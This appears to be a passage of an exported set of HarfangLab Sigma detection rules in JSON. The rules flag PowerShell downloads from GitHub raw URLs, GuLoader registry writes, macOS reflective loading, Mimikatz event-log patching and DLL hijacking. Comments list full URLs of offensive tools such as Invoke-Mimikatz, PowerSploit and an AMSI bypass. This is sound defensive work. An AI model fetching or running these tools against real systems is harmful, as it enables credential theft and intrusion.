+  "content": "title: URLs of Suspicious Code Repository in PowerShell Command-line\nid: fe179170-1bf7-4cc0-815e-3a0021d10561\ndescription: |\n    Detects URLs to suspicious code repositories in PowerShell command-lines.\n    These are usually existing, legitimate external Web services like Github that allow users to host content.\n    Popular websites and social media may give cover to adversaries, due to hosts communicating to these domains before being compromised.\n    Adversaries can use these domains to send commands or upload payloads to a compromised system.\n    It is recommended to investigate the URL contained in the PowerShell command-line to look whether it is pointing to a legitimate code repositories.\nreferences:\n    - https://cyble.com/blog/winrar-flaw-exposes-users-to-apanyan-asyncrat-murk/\n    - https://attack.mitre.org/techniques/T1102/003/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/08/18\nmodified: 2025/01/17\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1102.003\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.NetworkActivity\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_powershell:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n\n    selection_suspicious_args:\n        CommandLine|contains:\n            # generic raw githubusercontent , this is oftently malicious stuff\n            - '/raw.githubusercontent.com/'\n            # /raw.githubusercontent.com/ in UTF16-LE in base64 with 3 different offsets, for PowerShell command-lines\n            - 'LwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8A'\n            - '8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvA'\n            - 'vAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALw'\n            - '/gist.githubusercontent.com/'\n            - 'LwBnAGkAcwB0AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALw'\n            - '8AZwBpAHMAdAAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8A'\n            - 'vAGcAaQBzAHQALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvA'\n\n    # There is another rule for that\n    exclusion_malicious:\n        CommandLine|contains:\n            # https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/Find-Fruit.ps1\n            # https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1\n            - '/S3cur3Th1sSh1t/'\n            # /S3cur3Th1sSh1t/ in UTF16-LE in base64 with 3 different offsets, for PowerShell command-lines\n            - 'LwBTADMAYwB1AHIAMwBUAGgAMQBzAFMAaAAxAHQALw'\n            - '8AUwAzAGMAdQByADMAVABoADEAcwBTAGgAMQB0AC8A'\n            - 'vAFMAMwBjAHUAcgAzAFQAaAAxAHMAUwBoADEAdAAvA'\n            # 'https://raw.githubusercontent.com/pwnieexpress/Metasploit-framework/master/exploits/powershell/powerdump.ps1\n            - '/pwnieexpress/'\n            - 'LwBwAHcAbgBpAGUAZQB4AHAAcgBlAHMAcwAvA'\n            - '8AcAB3AG4AaQBlAGUAeABwAHIAZQBzAHMALw'\n            - 'vAHAAdwBuAGkAZQBlAHgAcAByAGUAcwBzAC8A'\n            # https://raw.githubusercontent.com/EmpireProject/Empire/master/module_source/credentials/Invoke-Mimikatz.ps1\n            - '/EmpireProject/'\n            - 'LwBFAG0AcABpAHIAZQBQAHIAbwBqAGUAYwB0AC8A'\n            - '8ARQBtAHAAaQByAGUAUAByAG8AagBlAGMAdAAvA'\n            - 'vAEUAbQBwAGkAcgBlAFAAcgBvAGoAZQBjAHQALw'\n            # https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1\n            - '/PowerSploit/'\n            - 'LwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALw'\n            - '8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8A'\n            - 'vAFAAbwB3AGUAcgBTAHAAbABvAGkAdAAvA'\n            # https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1\n            - '/clymb3r/'\n            - 'LwBjAGwAeQBtAGIAMwByAC8A'\n            - '8AYwBsAHkAbQBiADMAcgAvA'\n            - 'vAGMAbAB5AG0AYgAzAHIALw'\n            - '/Invoke-Mimikatz/'\n            - 'LwBJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAvA'\n            - '8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALw'\n            - 'vAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6AC8A'\n            # https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1\n            - '/BloodHoundAD/'\n            - 'LwBCAGwAbwBvAGQASABvAHUAbgBkAEEARAAvA'\n            - '8AQgBsAG8AbwBkAEgAbwB1AG4AZABBAEQALw'\n            - 'vAEIAbABvAG8AZABIAG8AdQBuAGQAQQBEAC8A'\n            # https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1\n            - '/Kevin-Robertson/'\n            - 'LwBLAGUAdgBpAG4ALQBSAG8AYgBlAHIAdABzAG8AbgAvA'\n            - '8ASwBlAHYAaQBuAC0AUgBvAGIAZQByAHQAcwBvAG4ALw'\n            - 'vAEsAZQB2AGkAbgAtAFIAbwBiAGUAcgB0AHMAbwBuAC8A'\n            # https://raw.githubusercontent.com/Veil-Framework/Veil-Pillage/master/data/PowerSploit/Invoke-Mimikatz.ps1\n            - '/Veil-Framework/'\n            - 'LwBWAGUAaQBsAC0ARgByAGEAbQBlAHcAbwByAGsALw'\n            - '8AVgBlAGkAbAAtAEYAcgBhAG0AZQB3AG8AcgBrAC8A'\n            - 'vAFYAZQBpAGwALQBGAHIAYQBtAGUAdwBvAHIAawAvA'\n            # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/Get-SPN/Get-SPN.psm1\n            - '/nullbind/Powershellery/'\n            - 'LwBuAHUAbABsAGIAaQBuAGQALwBQAG8AdwBlAHIAcwBoAGUAbABsAGUAcgB5AC8A'\n            - '8AbgB1AGwAbABiAGkAbgBkAC8AUABvAHcAZQByAHMAaABlAGwAbABlAHIAeQAvA'\n            - 'vAG4AdQBsAGwAYgBpAG4AZAAvAFAAbwB3AGUAcgBzAGgAZQBsAGwAZQByAHkALw'\n            # https://gist.githubusercontent.com/shantanu561993/6483e524dc225a188de04465c8512909/raw/db219421ea911b820e9a484754f03a26fbfb9c27/AMSI_bypass_Reflection.ps1\n            - '/shantanu561993/'\n            - 'LwBzAGgAYQBuAHQAYQBuAHUANQA2ADEAOQA5ADMALw'\n            - '8AcwBoAGEAbgB0AGEAbgB1ADUANgAxADkAOQAzAC8A'\n            - 'vAHMAaABhAG4AdABhAG4AdQA1ADYAMQA5ADkAMwAvA'\n            # https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\n            - '/powercat/'\n            - 'LwBwAG8AdwBlAHIAYwBhAHQALw'\n            - '8AcABvAHcAZQByAGMAYQB0AC8A'\n            - 'vAHAAbwB3AGUAcgBjAGEAdAAvA'\n            # https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Start-Eidolon.ps1\n            - '/FuzzySecurity/PowerShell-Suite/'\n            - 'LwBGAHUAegB6AHkAUwBlAGMAdQByAGkAdAB5AC8AUABvAHcAZQByAFMAaABlAGwAbAAtAFMAdQBpAHQAZQAvA'\n            - '8ARgB1AHoAegB5AFMAZQBjAHUAcgBpAHQAeQAvAFAAbwB3AGUAcgBTAGgAZQBsAGwALQBTAHUAaQB0AGUALw'\n            - 'vAEYAdQB6AHoAeQBTAGUAYwB1AHIAaQB0AHkALwBQAG8AdwBlAHIAUwBoAGUAbABsAC0AUwB1AGkAdABlAC8A'\n            # https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1\n            - '/The-Viper-One/'\n            - 'LwBUAGgAZQAtAFYAaQBwAGUAcgAtAE8AbgBlAC8A'\n            - '8AVABoAGUALQBWAGkAcABlAHIALQBPAG4AZQAvA'\n            - 'vAFQAaABlAC0AVgBpAHAAZQByAC0ATwBuAGUALw'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fe179170-1bf7-4cc0-815e-3a0021d10561",
+  "rule_name": "URLs of Suspicious Code Repository in PowerShell Command-line",
+  "rule_description": "Detects URLs to suspicious code repositories in PowerShell command-lines.\nThese are usually existing, legitimate external Web services like Github that allow users to host content.\nPopular websites and social media may give cover to adversaries, due to hosts communicating to these domains before being compromised.\nAdversaries can use these domains to send commands or upload payloads to a compromised system.\nIt is recommended to investigate the URL contained in the PowerShell command-line to look whether it is pointing to a legitimate code repositories.\n",
+  "rule_creation_date": "2022-08-18",
+  "rule_modified_date": "2025-01-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1102.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fe310d5f-8420-465b-a622-8a6959b418ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607322Z",
+  "creation_date": "2026-03-23T11:45:34.607326Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607333Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye",
+    "https://attack.mitre.org/techniques/T1055/",
+    "https://attack.mitre.org/software/S0561/"
+  ],
+  "name": "t1055_guloader_registry_activity.yml",
+  "content": "title: Possible GuLoader Registry Activity\nid: fe310d5f-8420-465b-a622-8a6959b418ac\ndescription: |\n    Detects suspicious registry values set by a NSIS GuLoader Installer.\n    GuLoader is a small NSIS installer downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive.\n    It is recommended to analyze the binary making the process access to look for malicious contents.\nreferences:\n    - https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye\n    - https://attack.mitre.org/techniques/T1055/\n    - https://attack.mitre.org/software/S0561/\ndate: 2024/05/07\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1055\n    - attack.command_and_control\n    - attack.t1071.001\n    - attack.t1566.002\n    - attack.execution\n    - attack.t1106\n    - attack.t1204.001\n    - attack.t1204.002\n    - attack.s0561\n    - classification.Windows.Source.Registry\n    - classification.Windows.Malware.GuLoader\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        Details:\n            - 'kernel32::CreateFileA(m r? , i 0x*, i 0, p 0, i 4, i 0x*, i 0)*'\n            - 'kernel32::SetFilePointer(i r?, i *, i 0,i 0)'\n            - 'kernel32::VirtualAlloc(i 0,i *, i *, i 0x*)*'\n            - 'kernel32::ReadFile(i r?, i r?, i *,*i 0, i 0)'\n            - 'user32::EnumWindows(i r? ,i 0)'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fe310d5f-8420-465b-a622-8a6959b418ac",
+  "rule_name": "Possible GuLoader Registry Activity",
+  "rule_description": "Detects suspicious registry values set by a NSIS GuLoader Installer.\nGuLoader is a small NSIS installer downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive.\nIt is recommended to analyze the binary making the process access to look for malicious contents.\n",
+  "rule_creation_date": "2024-05-07",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055",
+    "attack.t1071.001",
+    "attack.t1106",
+    "attack.t1204.001",
+    "attack.t1204.002",
+    "attack.t1566.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fe3727cd-5557-4a6a-af9f-914026f32dc0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617188Z",
+  "creation_date": "2026-03-23T11:45:34.617191Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617198Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f",
+    "https://attack.mitre.org/techniques/T1620/"
+  ],
+  "name": "t1620_reflective_loading_library.yml",
+  "content": "title: Suspicious Executable Reflective Loading File Loaded\nid: fe3727cd-5557-4a6a-af9f-914026f32dc0\ndescription: |\n    Detects the loading of a specific file related to reflective binary execution on macOS.\n    Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads.\n    It is recommended to check for malicious activities by the process loading the file.\nreferences:\n    - https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f\n    - https://attack.mitre.org/techniques/T1620/\ndate: 2024/06/18\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1620\n    - classification.macOS.Source.LibraryLoaded\n    - classification.macOS.Behavior.DLLHijacking\nlogsource:\n    category: library_event\n    product: macos\ndetection:\n    selection:\n        ImageLoaded|contains: '/NSCreateObjectFileImageFromMemory-'\n\n    exclusion_common_folders:\n        Image|startswith:\n            - '/System/Library/'\n            - '/Library/Application Support/'\n            - '/Applications/'\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n\n    exclusion_steam:\n        Image|startswith: '/Users/*/Library/Application Support/Steam/steamapps/common/'\n\n    exclusion_video:\n        Image: '/Volumes/RX 10 Audio Editor/Install RX 10 Audio Editor.app/Contents/MacOS/osx-x86_64'\n\n    exclusion_audiolens:\n        Image: '/Volumes/Audiolens/Install Audiolens.app/Contents/MacOS/osx-x86_64'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fe3727cd-5557-4a6a-af9f-914026f32dc0",
+  "rule_name": "Suspicious Executable Reflective Loading File Loaded",
+  "rule_description": "Detects the loading of a specific file related to reflective binary execution on macOS.\nAdversaries may reflectively load code into a process in order to conceal the execution of malicious payloads.\nIt is recommended to check for malicious activities by the process loading the file.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1620"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fe4a638f-f575-4374-8e3b-797ceb68ee70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072246Z",
+  "creation_date": "2026-03-23T11:45:34.072248Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072253Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c",
+    "https://github.com/gentilkiwi/mimikatz/",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_windows_eventlog_patching.yml",
+  "content": "title: Windows Event Log Patched\nid: fe4a638f-f575-4374-8e3b-797ceb68ee70\ndescription: |\n    Detects an attempt to open an svchost process with mimikatz-like permissions to patch the event log service.\n    Mimikatz targets wevtsvc.dll (the Windows Event Service DLL) that is loaded in the svchost.exe responsible for the EventLog service.\n    This is only an in-memory modification, once the service is restarted or computer is rebooted, the EventLog service will return to normal.\n    Adversaries may disrupt Windows event logs to avoid possible detection of their malicious activities.\n    It is recommended to analyze the context of this action, with the help of the process tree and to look for other malicious actions on the host.\nreferences:\n    - https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c\n    - https://github.com/gentilkiwi/mimikatz/\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2021/06/21\nmodified: 2025/05/12\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.s0002\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        TargetImage|endswith: '\\svchost.exe'\n        TargetProcessUser: 'NT AUTHORITY\\LOCAL SERVICE'\n        TargetProcessCommandLine|contains: 'svchost.exe -k LocalServiceNetworkRestricted'\n        GrantedAccess: '0x1438'\n\n    exclusion_mcafee:\n        ProcessProcessName:\n            - 'mfetp.exe'\n            - 'mfehcs.exe'\n            - 'FireSvc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'McAfee, Inc.'\n            - 'Musarubra US LLC'\n\n    exclusion_kaspersky:\n        ProcessProcessName:\n            - 'soyuz.exe' # C:\\Program Files (x86)\\Kaspersky Lab\\Endpoint Agent\\soyuz.exe\n            - 'avp.exe'   # C:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Endpoint Security 10 for Windows SP1\\avp.exe / C:\\Program Files (x86)\\Kaspersky Lab\\KES.11.10.0\\avp.exe\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Kaspersky Lab JSC'\n            - 'AO Kaspersky Lab'\n            - 'Kaspersky Lab'\n            - 'Kaspersky Labs GmbH'\n\n    exclusion_checkpoint:\n        ProcessImage: '?:\\Program Files (x86)\\CheckPoint\\Endpoint Security\\Anti-Malware\\epam_svc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Check Point Software Technologies Ltd.'\n\n    exclusion_total_uninstall:\n        ProcessImage: '?:\\Program Files\\Total Uninstall Essential\\Tu.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'MARTAU GAVRILA'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fe4a638f-f575-4374-8e3b-797ceb68ee70",
+  "rule_name": "Windows Event Log Patched",
+  "rule_description": "Detects an attempt to open an svchost process with mimikatz-like permissions to patch the event log service.\nMimikatz targets wevtsvc.dll (the Windows Event Service DLL) that is loaded in the svchost.exe responsible for the EventLog service.\nThis is only an in-memory modification, once the service is restarted or computer is rebooted, the EventLog service will return to normal.\nAdversaries may disrupt Windows event logs to avoid possible detection of their malicious activities.\nIt is recommended to analyze the context of this action, with the help of the process tree and to look for other malicious actions on the host.\n",
+  "rule_creation_date": "2021-06-21",
+  "rule_modified_date": "2025-05-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fe514257-7cae-4868-8038-9d6629dfa431",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077944Z",
+  "creation_date": "2026-03-23T11:45:34.077947Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077951Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bytecodegenerator.yml",
+  "content": "title: DLL Hijacking via BytecodeGenerator.exe\nid: fe514257-7cae-4868-8038-9d6629dfa431\ndescription: |\n    Detects potential Windows DLL Hijacking via BytecodeGenerator.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'BytecodeGenerator.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\urlmon.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fe514257-7cae-4868-8038-9d6629dfa431",
+  "rule_name": "DLL Hijacking via BytecodeGenerator.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via BytecodeGenerator.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fe6176aa-6160-4f56-a09c-fd15d655fb88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078530Z",
+  "creation_date": "2026-03-23T11:45:34.078532Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078536Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/wastedlocker-technical-analysis/97944/",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mblctr.yml",
+  "content": "title: DLL Hijacking via MBLCTR.exe\nid: fe6176aa-6160-4f56-a09c-fd15d655fb88\ndescription: |\n    Detects potential Windows DLL Hijacking via MBLCTR.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securelist.com/wastedlocker-technical-analysis/97944/\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'MBLCTR.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\batmeter.dll'\n            - '\\dwmapi.dll'\n            - '\\mmdevapi.dll'\n            - '\\uxtheme.dll'\n            - '\\winmm.dll'\n            - '\\wtsapi32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    